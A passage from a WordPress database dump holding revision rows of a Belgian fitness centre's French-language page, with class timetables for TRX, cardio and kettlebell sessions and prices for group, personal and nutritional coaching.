235.00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Coaching nutritionnel&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;1er rendez-vous : bilan alimentaire et programme personnalisé : 50.00€Suivi 15,00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;h2&gt;Horaire :&lt;/h2&gt;\r\n&lt;table style=\&quot;border: 0px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Team Training (réservation obligatoire)&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Du Lundi au Vendredi 4 séances : 17h30 – 18h15 – 19h00 – 19h45\r\nSamedi et Dimanche 3 séances : 11h00 – 11h30 – 12h00&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Personal et Duo Training (sur rendez-vous)&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Tous les jours du lundi au dimanche.&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;h2&gt;Les cours :&lt;/h2&gt;\r\n&lt;strong&gt;En semaine&lt;/strong&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;Lundi&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;Mardi&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;Mercredi&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;Jeudi&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;Vendredi&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;17h30&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;18h15&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;19h00&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;19h45&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;strong&gt;Le week-end&lt;/strong&gt;\r\n\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;TRX&lt;/span&gt; :&lt;/strong&gt; entrainement basé sur le poids du corps ! Vous réaliserez des centaines d’exercices qui permettront de développer puissance, force, souplesse, équilibre, mobilité tout en évitant les blessures et avec l\'intensité que vous avez choisie.\r\n\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;Circuit GLFE&lt;/span&gt; :&lt;/strong&gt; travaillez de manière fun sur un circuit ultra complet, adapté à votre niveau. Relevez des challenges et augmentez votre confiance en vous ! Ce circuit utilise tous les outils.\r\n\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;RIP-KETTLE&lt;/span&gt; :&lt;/strong&gt; alternance d’exercices avec le Kettlebell (cible les zones inaccessibles avec haltères et charges guidées) et le RIP Trainer (outils issu de la kinésithérapie pour travailler la stabilité de la ceinture abdominale, la coordination,…). Excellent cours pour renforcer, tonifier et raffermir en profondeur votre corps.\r\n\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;CARDIO&lt;/span&gt; :&lt;/strong&gt; pour développer votre endurance musculaire et cardiovasculaire. Idéal pour brûler un maximum de calories et perdre du poids !', 'Les séances', '', 'inherit', 'open', 'open', '', '11-revision-v1', '', '', '2013-07-03 17:39:50', '2013-07-03 17:39:50', '', 11, 'http://www.crosstrainingcenter.be/?p=192', 0, 'revision', '', 0);
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(193, 1, '2013-07-03 17:40:05', '2013-07-03 17:40:05', '&lt;h2&gt;Team Training :&lt;/h2&gt;\r\n&lt;h6&gt;En semaine :&lt;/h6&gt;\r\n&lt;table style=\&quot;width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;LUNDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;MARDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;MERCREDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;JEUDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;VENDREDI&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;17h30&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;18h15&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;19h00&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;19h45&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;h6&gt;Le week-end :&lt;/h6&gt;\r\n&lt;table style=\&quot;width: 30%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;Samedi&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;Dimanche&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;11h00&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;11h30&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;12h00&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;h2&gt;Nous vous  proposons chaque jour :&lt;/h2&gt;\r\n- &lt;strong&gt;Team Training&lt;/strong&gt; : entrainements en groupe avec un coach qualifié (8 à 12 pers.)\r\n- &lt;strong&gt;Duo Training&lt;/strong&gt; : entrainements à deux personnes sous la supervision d’un coach\r\n- &lt;strong&gt;Personal Training&lt;/strong&gt; : un coach par personne, l’idéal pour progresser plus rapidement!\r\n- &lt;strong&gt;Coaching nutritionnel&lt;/strong&gt; : rendez-vous avec une diététicienne pour améliorer votre santé\r\n&lt;h2&gt;Prix :&lt;/h2&gt;\r\n&amp;nbsp;\r\n&lt;table style=\&quot;border: 0px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px; border-bottom-style: dotted;\&quot;&gt;Team Training (réservation obligatoire)&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;1 séance : 9.00€1 carte de 10 séances : 80.00€ (valable 3 mois)\r\n1 carte de 20 séances : 120.00€ (valable 4 mois)\r\nAbonnement 1 mois illimité : 69.00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Package alimentation + sport&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;1 carte de 20 séances + 1 rdv par semaine de coaching alimentaire pendant 3 mois = 235.00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Coaching nutritionnel&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;1er rendez-vous : bilan alimentaire et programme personnalisé : 50.00€Suivi 15,00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;h2&gt;Horaire :&lt;/h2&gt;\r\n&lt;table style=\&quot;border: 0px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Team Training (réservation obligatoire)&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Du Lundi au Vendredi 4 séances : 17h30 – 18h15 – 19h00 – 19h45\r\nSamedi et Dimanche 3 séances : 11h00 – 11h30 – 12h00&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Personal et Duo Training (sur rendez-vous)&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Tous les jours du lundi au dimanche.&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;h2&gt;Les cours :&lt;/h2&gt;\r\n&lt;strong&gt;En semaine&lt;/strong&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;Lundi&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;Mardi&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;Mercredi&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;Jeudi&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;Vendredi&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;17h30&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;18h15&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;19h00&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;19h45&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;strong&gt;Le week-end&lt;/strong&gt;\r\n\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;TRX&lt;/span&gt; :&lt;/strong&gt; entrainement basé sur le poids du corps ! Vous réaliserez des centaines d’exercices qui permettront de développer puissance, force, souplesse, équilibre, mobilité tout en évitant les blessures et avec l\'intensité que vous avez choisie.\r\n\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;Circuit GLFE&lt;/span&gt; :&lt;/strong&gt; travaillez de manière fun sur un circuit ultra complet, adapté à votre niveau. Relevez des challenges et augmentez votre confiance en vous ! Ce circuit utilise tous les outils.\r\n\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;RIP-KETTLE&lt;/span&gt; :&lt;/strong&gt; alternance d’exercices avec le Kettlebell (cible les zones inaccessibles avec haltères et charges guidées) et le RIP Trainer (outils issu de la kinésithérapie pour travailler la stabilité de la ceinture abdominale, la coordination,…). Excellent cours pour renforcer, tonifier et raffermir en profondeur votre corps.\r\n\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;CARDIO&lt;/span&gt; :&lt;/strong&gt; pour développer votre endurance musculaire et cardiovasculaire. Idéal pour brûler un maximum de calories et perdre du poids !', 'Les séances', '', 'inherit', 'open', 'open', '', '11-revision-v1', '', '', '2013-07-03 17:40:05', '2013-07-03 17:40:05', '', 11, 'http://www.crosstrainingcenter.be/?p=193', 0, 'revision', '', 0),
(194, 1, '2013-07-03 17:40:25', '2013-07-03 17:40:25', '&lt;h2&gt;Team Training :&lt;/h2&gt;\r\n&lt;h6&gt;En semaine :&lt;/h6&gt;\r\n&lt;table style=\&quot;width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;LUNDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;MARDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;MERCREDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;JEUDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;VENDREDI&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;17h30&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;18h15&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;19h00&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;19h45&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;h6&gt;Le week-end :&lt;/h6&gt;\r\n&lt;table style=\&quot;width: 35%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;Samedi&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;Dimanche&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;11h00&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;11h30&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;12h00&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;h2&gt;Nous vous  proposons chaque jour :&lt;/h2&gt;\r\n- &lt;strong&gt;Team Training&lt;/strong&gt; : entrainements en groupe avec un coach qualifié (8 à 12 pers.)\r\n- &lt;strong&gt;Duo Training&lt;/strong&gt; : entrainements à deux personnes sous la supervision d’un coach\r\n- &lt;strong&gt;Personal Training&lt;/strong&gt; : un coach par personne, l’idéal pour progresser plus rapidement!\r\n- &lt;strong&gt;Coaching nutritionnel&lt;/strong&gt; : rendez-vous avec une diététicienne pour améliorer votre santé\r\n&lt;h2&gt;Prix :&lt;/h2&gt;\r\n&amp;nbsp;\r\n&lt;table style=\&quot;border: 0px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px; border-bottom-style: dotted;\&quot;&gt;Team Training (réservation obligatoire)&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;1 séance : 9.00€1 carte de 10 séances : 80.00€ (valable 3 mois)\r\n1 carte de 20 séances : 120.00€ (valable 4 mois)\r\nAbonnement 1 mois illimité : 69.00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Package alimentation + sport&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;1 carte de 20 séances + 1 rdv par semaine de coaching alimentaire pendant 3 mois = 235.00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Coaching nutritionnel&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;1er rendez-vous : bilan alimentaire et programme personnalisé : 50.00€Suivi 15,00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;h2&gt;Horaire :&lt;/h2&gt;\r\n&lt;table style=\&quot;border: 0px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Team Training (réservation obligatoire)&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Du Lundi au Vendredi 4 séances : 17h30 – 18h15 – 19h00 – 19h45\r\nSamedi et Dimanche 3 séances : 11h00 – 11h30 – 12h00&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Personal et Duo Training (sur rendez-vous)&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Tous les jours du lundi au dimanche.&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;h2&gt;Les cours :&lt;/h2&gt;\r\n&lt;strong&gt;En semaine&lt;/strong&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;Lundi&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;Mardi&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;Mercredi&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;Jeudi&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;Vendredi&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;17h30&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 